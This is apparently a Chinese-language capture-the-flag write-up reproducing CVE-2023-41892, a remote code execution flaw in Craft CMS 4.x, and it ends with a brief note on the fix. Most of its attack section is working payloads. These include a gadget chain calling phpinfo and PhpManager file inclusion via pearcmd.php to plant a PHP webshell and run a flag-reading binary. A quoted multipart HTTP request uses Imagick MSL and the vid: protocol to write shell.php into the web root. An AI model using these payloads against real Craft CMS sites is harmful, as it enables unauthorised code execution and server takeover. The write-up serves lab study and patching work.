CVE-2023-41892 漏洞复现

CVE-2023-41892

开题,是一个RCE

Thanks for installing Craft CMS!

You're looking at the index.twig template file located in your templates/ folder. Once you're ready to start building out your site's front end, you can replace this with something custom.

If you're new to Craft CMS, take some time to check out the resources on the right when you get a chance---especially Discord and Stack Exchange. The Craft community is full of smart, friendly, and helpful people!

感谢您安装Craft CMS!

你在看 index. twig模板文件位于您的templates/文件夹。一旦你准备好开始构建你的网站前端,你可以用一些自定义的东西来代替它。

如果您是Craft CMS的新手,请在有机会的时候花点时间查看右侧的资源,尤其是Discord和Stack Exchange。手工艺社区充满了聪明、友好和乐于助人的人!

网上搜索Craft CMS 漏洞

CVE-2023-41892 CraftCMS远程代码执行漏洞分析 | Bmth's blog (bmth666.cn)

这个CMS有三个洞。Affected versions>= 4.0.0-RC1 , <= 4.4.14

1、vendor\guzzlehttp\psr7\src\FnStream.php存在call_user_func,可执行phpinfo();

复制代码
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}

2、vendor\yiisoft\yii2\rbac\PhpManager.php处存在require 文件包含。调用链如下:

php 复制代码
yii\base\BaseObject::__construct()
    yii\rbac\PhpManager::init()
        yii\rbac\PhpManager::load()
            yii\rbac\PhpManager::loadFromFile()

这个漏洞我们可以用来包含日志文件,包含日志文件payload如下:

复制代码
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/www/html/craft/storage/logs/web-2023-09-26.log"}]}}

但是这题包含日志文件无效。但是这里可以使用pearcmd文件包含。

payload:(写入木马)

复制代码
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?= system($_POST[1]);?>+/tmp/j.php

action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/usr/local/lib/php/pearcmd.php"}]}}

我们会发现直接读取/flag文件是没有内容的,但是我们可以执行/readflag脚本。

payload:(getshell)

复制代码
action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/tmp/j.php"}]}}&1=cd /;./readflag
复制代码
cyberpeace{b68aa7baed26c658ba658d116ffede43}

3、Imagick原生类存在任意文件写入漏洞。

------------------------------------【以下是摘抄原文】------------------------------------

需要环境:php-imagick

Imagick 类,它的构造函数只有一个参数,可以是字符串或字符串数组。

一、MSL

MSL全称是Magick Scripting Language,它是一种内置的 ImageMagick 语言,其中存在两个标签<read><write>可以用于读取和写入文件,这个 Trick 的核心就是利用这两个标签写入任意文件Webshell

https://imagemagick.org/script/conjure.php#msl

二、vid协议

ImageMagick中有一个协议vid:https://github.com/ImageMagick/ImageMagick/blob/d2a918098878bd73a57a34b901b5ae85c0c8d17f/coders/vid.c#L98,会调用 ExpandFilenames 函数

可以用于包裹其他协议或者文件名,其增加了对 glob 通配符的支持,这样我们就可以通过*的方式来包含一些我们不知道完整文件名的文件

即使用new Imagick('vid:msl:/tmp/php*');让 Imagick 加载并解析 PHP 上传的临时文件

三、漏洞利用

  1. <read>标签可以读取一个图片,图片可以来自于远程http,也可以来自于本地
  2. <write>标签可以将前面获取的图片写入到另一个位置,而且文件名可控
  3. <comment>标签可以给生成的图片加注释,所以我们将Webshell编码后放在这个标签里即可

一种方法就是利用本地图片,POC:

复制代码
XML
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/usr/share/doc/ImageMagick-7/www/wand.png"/>
<comment>HTML实体编码后的Webshell</comment>
<write filename="shell.php" />
</image>

还有一种方法就是使用caption:info:协议

最后的请求如下:

复制代码
PLAINTEXT
POST /index.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: */*
Host: 192.168.111.178:8080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------974726398307238472515955
Content-Length: 850

----------------------------974726398307238472515955
Content-Disposition: form-data; name="action"

conditions/render
----------------------------974726398307238472515955
Content-Disposition: form-data; name="configObject"

craft\elements\conditions\ElementCondition
----------------------------974726398307238472515955
Content-Disposition: form-data; name="config"

{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}
----------------------------974726398307238472515955
Content-Disposition: form-data; name="image"; filename="poc.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php system($_REQUEST['cmd']); ?&gt;"/>
<write filename="info:/var/www/html/craft/web/shell.php">
</image>
----------------------------974726398307238472515955--

虽然能成功写入,但是执行后会造成 Segmentation fault (core dumped) ,可能导致程序崩溃服务关闭,所以一般不建议使用该方法。

------------------------------------【以上是摘抄原文】------------------------------------

在本题中,可以利用vid来写入文件到/tmp目录下。同时再利用第二点vendor\yiisoft\yii2\rbac\PhpManager.php处存在require 文件包含来包含我们写入的木马文件。

漏洞修复

使用Component::cleanseConfig对传入的 config 进行处理

移除所有以on or as 开头的键

大多理论知识来自于 Bmth师傅的文章。

相关推荐
云水一下6 小时前
零基础玩转bWAPP靶场(五十八):XSS - Stored (User-Agent)
web安全·xss·bwapp·user-agent·stored
发量惊人的中年网工6 小时前
中小企业网络管理进阶:从设备堆叠到统一管理
服务器·网络·安全·网络安全·php·制造
小新讲网安9 小时前
PowerShell安全攻防实战:从渗透利用到检测防御全攻略
安全·web安全·网络安全·黑客·自动化·sqlmap·网安
天山@12310 小时前
内网横向移动实验:从IPC到PTT的完整攻击链
网络安全·内网横向移动
XR1234567881 天前
医院网络安全与等保合规选型指南
安全·web安全
Bruce_Liuxiaowei1 天前
基于微步在线威胁情报的公网 IP 攻击迹象监测:threatbook_query 脚本全解析与 BruceSec 平台整合实践
数据库·tcp/ip·安全·网络安全·智能体
小新讲网安1 天前
安全运营中心(SOC)建设实战:从SIEM到威胁狩猎全流程指南
网络·安全·web安全·网络安全·网安
笨鸟先飞,勤能补拙1 天前
Web 服务器与计算机网络全景原理
运维·服务器·前端·网络·人工智能·计算机网络·web安全
Sagittarius_A*1 天前
Stored Cross Site Scripting(XSS)存储型跨站脚本漏洞:恶意数据持久化缺陷与 DVWA 分级绕过实战
前端·网络·web安全·网络安全·xss·dvwa
Atomic121381 天前
Apache Shiro 核心漏洞与实战利用指南
web安全·网络安全·渗透测试